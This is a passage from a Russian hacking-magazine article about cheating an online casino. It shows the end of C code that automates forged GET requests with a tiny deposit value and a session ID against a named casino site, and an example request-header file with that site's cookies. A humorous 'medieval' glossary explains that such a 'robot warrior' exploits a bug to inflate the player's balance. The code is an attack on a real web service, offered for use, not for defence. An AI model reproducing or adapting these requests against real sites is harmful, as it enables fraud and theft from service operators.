Атака на цитадель алчности

goabruce & porosenok

Хакер, номер #091, стр. 091-078-5

if (err==SOCKET_ERROR)

{

return 0;

}

sprintf(http_header,"GET http://game.hibet.ru/games/casino.php?deposit=0.001&nocache=4036119973&sync=%ld&phpsessid=1754332441 HTTP/1.1\r\n%s",sync++,file_header);

err=send(out,http_header,strlen(http_header),0);

recv(out,http_header,475,0);

http_header[475]=0;

printf(http_header);

closesocket(out);

}

return 0;

}

Пример файла с заголовком

Host: game.hibet.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.5) Gecko/20041108 Firefox/1.0

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5

Accept-Language: ru-ru,ru;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Proxy-Connection: keep-alive

Cookie: /=1387790268; HIBET_UID=1475054832; PHPSESSID=879249298

Средневековый словарь терминов

Лазутчик - nmap, программа, предназначенная для сканирования сети.

Начальник охраны - системный администратор.

Разрушающее заклятие - эксплоит (exploit).

Мобильные отряды - программная реализация азартных игр, созданных с использованием технологии Flash.

Удаленные графства - компьютеры пользователей.

Выгодное дело - электронные азартные игры, такие как рулетка, BlackJack, покер, кено и другие игры.

Доверчивый гражданин - это ты, если хоть раз играл в интернет-казино, или твой друг.

Птичий помет - виртуальные денежные средства, не имеющие никакой ценности. Казино называет их FUN.

Золото или золотые монеты - реальные денежные средства, расположенные на электронном счете казино.

Посыльный - http-протокол.

Спецагент - программа HttpDetect, позволяющая перехватывать полный текст транзакции (запрос и ответ) между WEB-сервером и WEB-браузером.

Древнеиндийский язык - GET-запрос, один из способов реализации HTTP-протокола.

Служба доставки - WEB-браузер.

Воин-робот - программа, использующая найденную ошибку для увеличения игрового счета.

INFO

Flash - это технология веб-мультипликации и создания интерактивного контента компании от Macromedia, получившая широкое распространение. Применяется при создании анимационных заставок, веб-игр и интерактивных элементов сайта.

INFO

Nmap - это не единственная программа для сканирования сети и ее компонентов, но зато одна из лучших и бесплатных. Кроме nmap, я бы порекомендовал еще XSpider от компании Positive Technologies (http://www.ptsecurity.ru/). У них есть платная и бесплатная версии.

CD/DVD

На нашем диске ты найдешь полные версии программ, описанных в этой статье